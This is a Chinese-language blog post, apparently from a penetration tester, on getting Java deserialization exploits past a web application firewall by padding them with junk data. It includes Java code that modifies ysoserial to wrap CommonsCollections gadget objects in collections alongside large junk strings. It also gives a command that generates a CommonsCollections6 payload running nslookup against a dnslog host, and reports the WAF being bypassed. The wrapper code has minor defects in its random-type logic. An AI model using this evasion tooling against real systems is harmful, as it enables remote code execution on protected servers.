Java反序列化数据绕WAF之加大量脏数据

0x01 背景

前几周有个同事发给我一个授权的站点,需要拿下webshell权限。发现存在Java反序列化漏洞,但是有WAF,ysoserial生成的序列化数据直接就被拦截了。

序列化数据被WAF拦截

绕WAF的前提自然是先摸清WAF拦截的规则。我先是把序列化头aced0005删掉,发现还是被拦截了,看来WAF没开启无脑的hw模式。

接着将序列化数据当中的class名破坏,发现不再拦截了。说明WAF应该是把gadget的class加入了规则。

考虑到大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。于是我在序列化头后加了50000x字符,发现WAf不再拦截,证明这个思路可行!

这样虽然绕过了WAF,但新的问题也来了。序列化数据是二进制数据,直接手工在burp里加入垃圾数据破坏了序列化数据的结构,后端代码并没有反序列化成功。接下来继续解决这个问题。

0x02 如何给序列化数据加脏数据?

我的思路是需要找到一个class可以序列化,它可以把我们的脏数据对象ysoserial gadget对象一起包裹起来。

1
2
3
4
5
class A {
new byte[50000]{12,12,12....} //垃圾数据
......
ysoserial gadget object
}

所以我们要找的class,第一需要实现java.io.Serializable接口,第二可以存储任意对象 。这么看来集合类型就非常符合我们的需求。

  1. ArrayList
  2. LinkedList
  3. HashMap
  4. LinkedHashMap
  5. TreeMap
  6. ……

伪代码如下:

1
2
3
4
List<Object> arrayList = new ArrayList<Object>();
arrayList.add(dirtyData); // 脏数据
arrayList.add(gadget); // gadget
new ObjectOutputStream(new FileOutputStream("/tmp/bypass-waf.ser")).writeObject(arrayList);

0x03 改造ysoserial

为了方便日后使用,我们可以改造下ysoserial,让所有gadget都支持添加大量垃圾数据。大致的流程调用是,构造函数传入gadget对象以及垃圾数据长度,然后调用doWrap方法随机创建一个集合类型把随机生成的脏数据和gadget对象存储起来,最终序列化该对象即可拿到bypass WAF的序列化数据。具体实现参考如下代码和注释。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
public class DirtyDataWrapper {
private int dirtyDataSize; //脏数据大小
private String dirtyData; //脏数据内容
private Object gadget; // ysoserila gadget对象

public DirtyDataWrapper(Object gadget, int dirtyDataSize){
this.gadget = gadget;
this.dirtyDataSize = dirtyDataSize;
}

/**
* 将脏数据和gadget对象存到集合对象中
* @return 一个包裹脏数据和gadget对象可序列化对象
*/
public Object doWrap(){
Object wrapper = null;
dirtyData = getLongString(dirtyDataSize);
int type = (int)(Math.random() * 10) % 10 + 1;
switch (type){
case 0:
List<Object> arrayList = new ArrayList<Object>();
arrayList.add(dirtyData);
arrayList.add(gadget);
wrapper = arrayList;
break;
case 1:
List<Object> linkedList = new LinkedList<Object>();
linkedList.add(dirtyData);
linkedList.add(gadget);
wrapper = linkedList;
break;
case 2:
HashMap<String,Object> map = new HashMap<String, Object>();
map.put("a",dirtyData);
map.put("b",gadget);
wrapper = map;
break;
case 3:
LinkedHashMap<String,Object> linkedHashMap = new LinkedHashMap<String,Object>();
linkedHashMap.put("a",dirtyData);
linkedHashMap.put("b",gadget);
wrapper = linkedHashMap;
break;
default:
case 4:
TreeMap<String,Object> treeMap = new TreeMap<String, Object>();
treeMap.put("a",dirtyData);
treeMap.put("b",gadget);
wrapper = treeMap;
break;
}
return wrapper;
}

/**
* 生产随机字符串
* @param length 随机字符串长度
* @return 随机字符串
*/
public static String getLongString(int length){
String str = "";
for (int i=0;i<length;i++){
str += "x";
}
return str;
}

// 测试
public static void main(String[] args) throws Exception{
Object cc6 = new CommonsCollections6().getObject("raw_cmd:nslookup xxx.dnslog.cn");
DirtyDataWrapper dirtyDataFactory = new DirtyDataWrapper(cc6,100);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/tmp/cc6.ser"));
objectOutputStream.writeObject(dirtyDataFactory.doWrap());
objectOutputStream.flush();
objectOutputStream.close();
}
}

完整代码请移步ysoserial-for-woodpecker项目。通过如下命令就可以生成带有40000脏数据的CommsonCollects6序列化数据。

1
java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsCollections6 -a "raw_cmd:nslookup win.4lu19g.dnslog.cn" --dirt-data-length 400000 > cc6-dnslog.ser

cc6-dnslog.ser复制到burp中发送,完美饶过waf收到dnslog!

成功绕过WAF

0x04 留一个小问题

其实不是所有的集合类都适合用于包裹脏数据和gadget,比如LinkedHashSet,HashSetTreeSet等类就不适合。至于为何,留给大家思考。